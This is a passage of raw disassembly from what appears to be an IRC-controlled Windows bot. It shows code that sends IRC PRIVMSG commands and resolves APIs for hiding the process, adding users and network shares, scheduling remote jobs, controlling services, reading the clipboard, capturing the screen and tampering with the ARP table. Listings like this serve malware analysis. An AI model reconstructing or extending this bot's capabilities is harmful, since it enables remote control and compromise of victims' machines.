		jnz	short loc_405E7F
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_405E7F:				; CODE XREF: sub_405E64+14j
		push	edi		; Str
		call	_strlen
		push	[ebp+Str]	; Str
		mov	esi, 1FAh
		sub	esi, eax
		call	_strlen
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_2	; "%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+Str]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 2Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_42EC00	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_405EFD
		push	7D0h
		call	ds:dword_41B048	; Sleep

locret_405EFD:				; CODE XREF: sub_405E64+8Cj
		leave
		retn
sub_405E64	endp


; =============== S U B	R O U T	I N E =======================================



sub_405EFF	proc near		; CODE XREF: WinMain(x,x,x,x)+4Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41B0CC
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_41B0C8
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40601F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_42EC5C, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_42EBD4, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_42EBB8, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_42EAE4, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_42EA94, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_42EAC0, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_42EB30, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_42EC10, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_42EC6C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_42EAF0, eax
		call	esi	; GetProcAddress
		cmp	dword_42EC5C, ebx
		mov	dword_42EAD8, eax
		jz	short loc_405FFD
		cmp	dword_42EBD4, ebx
		jz	short loc_405FFD
		cmp	dword_42EBB8, ebx
		jz	short loc_405FFD
		cmp	dword_42EAE4, ebx
		jz	short loc_405FFD
		cmp	dword_42EAC0, ebx
		jz	short loc_405FFD
		cmp	dword_42EB30, ebx
		jz	short loc_405FFD
		cmp	dword_42EC10, ebx
		jz	short loc_405FFD
		cmp	dword_42EC6C, ebx
		jz	short loc_405FFD
		cmp	dword_42EAF0, ebx
		jz	short loc_405FFD
		cmp	eax, ebx
		jnz	short loc_406007


loc_405FFD:				; CODE XREF: sub_405EFF+B8j
					; sub_405EFF+C0j ...
		mov	dword_42EC70, 1


loc_406007:				; CODE XREF: sub_405EFF+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_42EBE8, eax
		jz	short loc_406034
		push	1
		push	ebx
		call	eax	; GetDiskFreeSpaceExA
		jmp	short loc_406034
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_405EFF+1Dj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42EC74, eax
		mov	dword_42EC70, 1


loc_406034:				; CODE XREF: sub_405EFF+117j
					; sub_405EFF+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41B0C4	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4060EF
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_42EC0C, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_42EBC0, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_42EB58, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_42EC60, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_42EB84, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_42EBA4, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_42EC04, eax
		call	esi	; GetProcAddress
		cmp	dword_42EC0C, ebx
		mov	dword_42EB0C, eax
		jz	short loc_4060FA
		cmp	dword_42EBC0, ebx
		jz	short loc_4060FA
		cmp	dword_42EB58, ebx
		jz	short loc_4060FA
		cmp	dword_42EC60, ebx
		jz	short loc_4060FA
		cmp	dword_42EB84, ebx
		jz	short loc_4060FA
		cmp	dword_42EBA4, ebx
		jz	short loc_4060FA
		cmp	dword_42EC04, ebx
		jz	short loc_4060FA
		cmp	eax, ebx
		jnz	short loc_406104
		jmp	short loc_4060FA
; ---------------------------------------------------------------------------


loc_4060EF:				; CODE XREF: sub_405EFF+144j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42EC7C, eax


loc_4060FA:				; CODE XREF: sub_405EFF+1B8j
					; sub_405EFF+1C0j ...
		mov	dword_42EC78, 1


loc_406104:				; CODE XREF: sub_405EFF+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40629F
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_42EC20, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_42EB6C, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_42EBD8, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_42EAD0, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_42EB2C, eax
		call	esi	; GetProcAddress
		cmp	dword_42EC20, ebx
		mov	dword_42EB90, eax
		jz	short loc_40618F
		cmp	dword_42EB6C, ebx
		jz	short loc_40618F
		cmp	dword_42EBD8, ebx
		jz	short loc_40618F
		cmp	dword_42EAD0, ebx
		jz	short loc_40618F
		cmp	dword_42EB2C, ebx
		jz	short loc_40618F
		cmp	eax, ebx
		jnz	short loc_406199


loc_40618F:				; CODE XREF: sub_405EFF+26Aj
					; sub_405EFF+272j ...
		mov	dword_42EC80, 1


loc_406199:				; CODE XREF: sub_405EFF+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_42EB98, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_42EB74, eax
		call	esi	; GetProcAddress
		cmp	dword_42EB98, ebx
		mov	dword_42EC1C, eax
		jz	short loc_4061D4
		cmp	dword_42EB74, ebx
		jz	short loc_4061D4
		cmp	eax, ebx
		jnz	short loc_4061DE


loc_4061D4:				; CODE XREF: sub_405EFF+2C7j
					; sub_405EFF+2CFj
		mov	dword_42EC80, 1


loc_4061DE:				; CODE XREF: sub_405EFF+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_42EBA8, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_42EAAC, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_42EAB4, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_42EB14, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_42EB18, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_42EAC8, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_42EB78, eax
		call	esi	; GetProcAddress
		cmp	dword_42EBA8, ebx
		mov	dword_42EAB8, eax
		jz	short loc_406282
		cmp	dword_42EAAC, ebx
		jz	short loc_406282
		cmp	dword_42EAB4, ebx
		jz	short loc_406282
		cmp	dword_42EB14, ebx
		jz	short loc_406282
		cmp	dword_42EB18, ebx
		jz	short loc_406282
		cmp	dword_42EAC8, ebx
		jz	short loc_406282
		cmp	dword_42EB78, ebx
		jz	short loc_406282
		cmp	eax, ebx
		jnz	short loc_40628C


loc_406282:				; CODE XREF: sub_405EFF+34Dj
					; sub_405EFF+355j ...
		mov	dword_42EC80, 1


loc_40628C:				; CODE XREF: sub_405EFF+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_42EAB0, eax
		jnz	short loc_4062B4
		jmp	short loc_4062AA
; ---------------------------------------------------------------------------


loc_40629F:				; CODE XREF: sub_405EFF+210j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42EC84, eax


loc_4062AA:				; CODE XREF: sub_405EFF+39Ej
		mov	dword_42EC80, 1


loc_4062B4:				; CODE XREF: sub_405EFF+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406380
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_42EBA0, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_42EBF4, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_42EBFC, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_42EBBC, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_42EAF4, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_42EAA4, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_42EBF8, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_42EA90, eax
		call	esi	; GetProcAddress
		cmp	dword_42EBA0, ebx
		mov	dword_42EB24, eax
		jz	short loc_40638B
		cmp	dword_42EBF4, ebx
		jz	short loc_40638B
		cmp	dword_42EBFC, ebx
		jz	short loc_40638B
		cmp	dword_42EBBC, ebx
		jz	short loc_40638B
		cmp	dword_42EAF4, ebx
		jz	short loc_40638B
		cmp	dword_42EAA4, ebx
		jz	short loc_40638B
		cmp	dword_42EBF8, ebx
		jz	short loc_40638B
		cmp	dword_42EA90, ebx
		jz	short loc_40638B
		cmp	eax, ebx
		jnz	short loc_406395
		jmp	short loc_40638B
; ---------------------------------------------------------------------------


loc_406380:				; CODE XREF: sub_405EFF+3C0j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42EC8C, eax


loc_40638B:				; CODE XREF: sub_405EFF+441j
					; sub_405EFF+449j ...
		mov	dword_42EC88, 1


loc_406395:				; CODE XREF: sub_405EFF+47Dj
		mov	ebp, ds:dword_41B0C4
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406651
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_42EB38, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_42EC54, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_42EAE0, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_42EABC, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_42EB64, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_42EB50, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_42EB20, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_42EC30, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_42EC4C, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_42EB60, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_42EC3C, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_42EBF0, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_42EBB4, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_42EBB0, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_42EB00, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_42EAF8, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_42EC00, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_42EC14, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_42EBCC, eax
		call	esi	; GetProcAddress
		mov	dword_42EB8C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_42EBE0, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_42EB9C, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_42EBDC, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_42EC44, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_42EB94, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_42EB5C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_42EBC8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_42EC34, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_42EB70, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_42EB1C, eax
		call	esi	; GetProcAddress
		cmp	dword_42EB38, ebx
		mov	dword_42EC48, eax
		jz	loc_40665C
		cmp	dword_42EC54, ebx
		jz	loc_40665C
		cmp	dword_42EAE0, ebx
		jz	loc_40665C
		cmp	dword_42EB64, ebx
		jz	loc_40665C
		cmp	dword_42EB50, ebx
		jz	loc_40665C
		cmp	dword_42EB20, ebx
		jz	loc_40665C
		cmp	dword_42EC30, ebx
		jz	loc_40665C
		cmp	dword_42EC4C, ebx
		jz	loc_40665C
		cmp	dword_42EB60, ebx
		jz	loc_40665C
		cmp	dword_42EC3C, ebx
		jz	loc_40665C
		cmp	dword_42EBF0, ebx
		jz	loc_40665C
		cmp	dword_42EBB4, ebx
		jz	loc_40665C
		cmp	dword_42EBB0, ebx
		jz	loc_40665C
		cmp	dword_42EB00, ebx
		jz	short loc_40665C
		cmp	dword_42EC00, ebx
		jz	short loc_40665C
		cmp	dword_42EC14, ebx
		jz	short loc_40665C
		cmp	dword_42EBCC, ebx
		jz	short loc_40665C
		cmp	dword_42EB8C, ebx
		jz	short loc_40665C
		cmp	dword_42EBE0, ebx
		jz	short loc_40665C
		cmp	dword_42EB9C, ebx
		jz	short loc_40665C
		cmp	dword_42EBDC, ebx
		jz	short loc_40665C
		cmp	dword_42EC44, ebx
		jz	short loc_40665C
		cmp	dword_42EB94, ebx
		jz	short loc_40665C
		cmp	dword_42EB5C, ebx
		jz	short loc_40665C
		cmp	dword_42EBC8, ebx
		jz	short loc_40665C
		cmp	dword_42EC34, ebx
		jz	short loc_40665C
		cmp	dword_42EB70, ebx
		jz	short loc_40665C
		cmp	eax, ebx
		jnz	short loc_406666
		jmp	short loc_40665C
; ---------------------------------------------------------------------------


loc_406651:				; CODE XREF: sub_405EFF+4A7j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42EC94, eax


loc_40665C:				; CODE XREF: sub_405EFF+646j
					; sub_405EFF+652j ...
		mov	dword_42EC90, 1


loc_406666:				; CODE XREF: sub_405EFF+74Ej
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40676B
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_42EB08, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_42EA98, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_42EB80, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_42EB3C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_42EB88, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_42EB54, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_42EAD4, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_42EACC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_42EADC, eax
		call	esi	; GetProcAddress
		cmp	dword_42EB08, ebx
		mov	ecx, dword_42EB54
		mov	dword_42EBE4, eax
		jz	short loc_406747
		cmp	dword_42EA98, ebx
		jz	short loc_406747
		cmp	dword_42EB80, ebx
		jz	short loc_406747
		cmp	dword_42EB3C, ebx
		jz	short loc_406747
		cmp	dword_42EB88, ebx
		jz	short loc_406747
		cmp	ecx, ebx
		jz	short loc_406747
		cmp	dword_42EAD4, ebx
		jz	short loc_406747
		cmp	dword_42EACC, ebx
		jz	short loc_406747
		cmp	dword_42EADC, ebx
		jz	short loc_406747
		cmp	eax, ebx
		jnz	short loc_406751


loc_406747:				; CODE XREF: sub_405EFF+806j
					; sub_405EFF+80Ej ...
		mov	dword_42EC98, 1


loc_406751:				; CODE XREF: sub_405EFF+846j
		cmp	ecx, ebx
		jz	short loc_406786
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_42EB68, eax
		jnz	short loc_406786
		jmp	short loc_406780
; ---------------------------------------------------------------------------


loc_40676B:				; CODE XREF: sub_405EFF+772j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42EC9C, eax
		mov	dword_42EC98, 1


loc_406780:				; CODE XREF: sub_405EFF+86Aj
		mov	dword_42EB68, ebx


loc_406786:				; CODE XREF: sub_405EFF+854j
					; sub_405EFF+868j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4067D0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_42EB48, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_42EC68, eax
		call	esi	; GetProcAddress
		cmp	dword_42EB48, ebx
		mov	dword_42EAE8, eax
		jz	short loc_4067DB
		cmp	dword_42EC68, ebx
		jz	short loc_4067DB
		cmp	eax, ebx
		jnz	short loc_4067E5
		jmp	short loc_4067DB
; ---------------------------------------------------------------------------


loc_4067D0:				; CODE XREF: sub_405EFF+892j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42ECA4, eax


loc_4067DB:				; CODE XREF: sub_405EFF+8C1j
					; sub_405EFF+8C9j ...
		mov	dword_42ECA0, 1


loc_4067E5:				; CODE XREF: sub_405EFF+8CDj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4068DB
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_42EAC4, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_42EAA0, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_42EB10, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_42EB40, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_42EC40, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_42EAFC, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_42EAA8, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_42EA9C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_42EB28, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_42EC08, eax
		call	esi	; GetProcAddress
		cmp	dword_42EAC4, ebx
		mov	dword_42EBC4, eax
		jz	short loc_4068E6
		cmp	dword_42EAA0, ebx
		jz	short loc_4068E6
		cmp	dword_42EB10, ebx
		jz	short loc_4068E6
		cmp	dword_42EB40, ebx
		jz	short loc_4068E6
		cmp	dword_42EC40, ebx
		jz	short loc_4068E6
		cmp	dword_42EAFC, ebx
		jz	short loc_4068E6
		cmp	dword_42EAA8, ebx
		jz	short loc_4068E6
		cmp	dword_42EA9C, ebx
		jz	short loc_4068E6
		cmp	dword_42EB28, ebx
		jz	short loc_4068E6
		cmp	dword_42EC08, ebx
		jz	short loc_4068E6
		cmp	eax, ebx
		jnz	short loc_4068F0
		jmp	short loc_4068E6
; ---------------------------------------------------------------------------


loc_4068DB:				; CODE XREF: sub_405EFF+8F1j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42ECAC, eax


loc_4068E6:				; CODE XREF: sub_405EFF+98Cj
					; sub_405EFF+994j ...
		mov	dword_42ECA8, 1


loc_4068F0:				; CODE XREF: sub_405EFF+9D8j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406925
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_42EAEC, eax
		call	esi	; GetProcAddress
		cmp	dword_42EAEC, ebx
		mov	dword_42EBAC, eax
		jz	short loc_406930
		cmp	eax, ebx
		jnz	short loc_40693A
		jmp	short loc_406930
; ---------------------------------------------------------------------------


loc_406925:				; CODE XREF: sub_405EFF+9FCj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42ECB4, eax


loc_406930:				; CODE XREF: sub_405EFF+A1Ej
					; sub_405EFF+A24j
		mov	dword_42ECB0, 1


loc_40693A:				; CODE XREF: sub_405EFF+A22j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40696F
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_42EC2C, eax
		call	esi	; GetProcAddress
		cmp	dword_42EC2C, ebx
		mov	dword_42EC28, eax
		jz	short loc_40697A
		cmp	eax, ebx
		jnz	short loc_406984
		jmp	short loc_40697A
; ---------------------------------------------------------------------------


loc_40696F:				; CODE XREF: sub_405EFF+A46j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42ECBC, eax


loc_40697A:				; CODE XREF: sub_405EFF+A68j
					; sub_405EFF+A6Ej
		mov	dword_42ECB8, 1


loc_406984:				; CODE XREF: sub_405EFF+A6Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4069E3
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_42EC58, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_42EC50, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_42EC18, eax
		call	esi	; GetProcAddress
		cmp	dword_42EC58, ebx
		mov	dword_42EB04, eax
		jz	short loc_4069EE
		cmp	dword_42EC50, ebx
		jz	short loc_4069EE
		cmp	dword_42EC18, ebx
		jz	short loc_4069EE
		cmp	eax, ebx
		jnz	short loc_4069F8
		jmp	short loc_4069EE
; ---------------------------------------------------------------------------


loc_4069E3:				; CODE XREF: sub_405EFF+A90j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42ECC4, eax


loc_4069EE:				; CODE XREF: sub_405EFF+ACCj
					; sub_405EFF+AD4j ...
		mov	dword_42ECC0, 1


loc_4069F8:				; CODE XREF: sub_405EFF+AE0j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406A2D
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_42EB34, eax
		call	esi	; GetProcAddress
		cmp	dword_42EB34, ebx
		mov	dword_42EC24, eax
		jz	short loc_406A38
		cmp	eax, ebx
		jnz	short loc_406A42
		jmp	short loc_406A38
; ---------------------------------------------------------------------------


loc_406A2D:				; CODE XREF: sub_405EFF+B04j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42ECCC, eax


loc_406A38:				; CODE XREF: sub_405EFF+B26j
					; sub_405EFF+B2Cj
		mov	dword_42ECC8, 1


loc_406A42:				; CODE XREF: sub_405EFF+B2Aj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406ACB
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_42EBEC, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_42EC38, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_42EB7C, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_42EB44, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_42EBD0, eax
		call	esi	; GetProcAddress
		cmp	dword_42EBEC, ebx
		mov	dword_42EB4C, eax
		jz	short loc_406AD6
